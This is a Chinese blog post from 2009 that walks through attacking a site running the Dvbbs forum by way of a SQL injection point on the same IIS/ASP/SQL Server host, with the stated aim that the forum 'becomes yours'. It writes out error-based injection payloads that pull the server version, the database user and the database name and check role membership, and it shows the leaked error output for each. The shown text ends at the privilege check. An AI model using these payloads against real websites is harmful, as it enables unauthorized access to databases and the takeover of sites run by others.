Chinaunix首页 | 论坛 | 博客
  • 博客访问: 761109
  • 博文数量: 140
  • 博客积分: 10288
  • 博客等级: 上将
  • 技术积分: 2895
  • 用 户 组: 普通用户
  • 注册时间: 2006-12-03 13:19
文章分类

全部博文(140)

文章存档

2009年(50)

2008年(90)

我的朋友

分类: 数据库开发技术

2009-04-02 13:30:44

现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但 是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰 漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。

  一、 首先确定目标

  假设以下URL存在SQL注入:
测试能否注入可以在6后面加个单引号。
' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

  继续,先探测一下系统版本:
(select @@version)--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。

  看来已经打上最新的SP4补丁。

  取得当前连接数据库用户:
(select user_name())--

  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。

  从错误信息中得到当前数据库用户为:webuser
  取得当前连接数据库名:
(select db_name())--

  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。

  从错误信息中得到当前数据库名为: 01city

  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)

(SELECT IS_SRVROLEMEMBER('sysadmin'))--

  返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,

(SELECT%20IS_MEMBER('db_owner'))--

  正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。

阅读(707) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~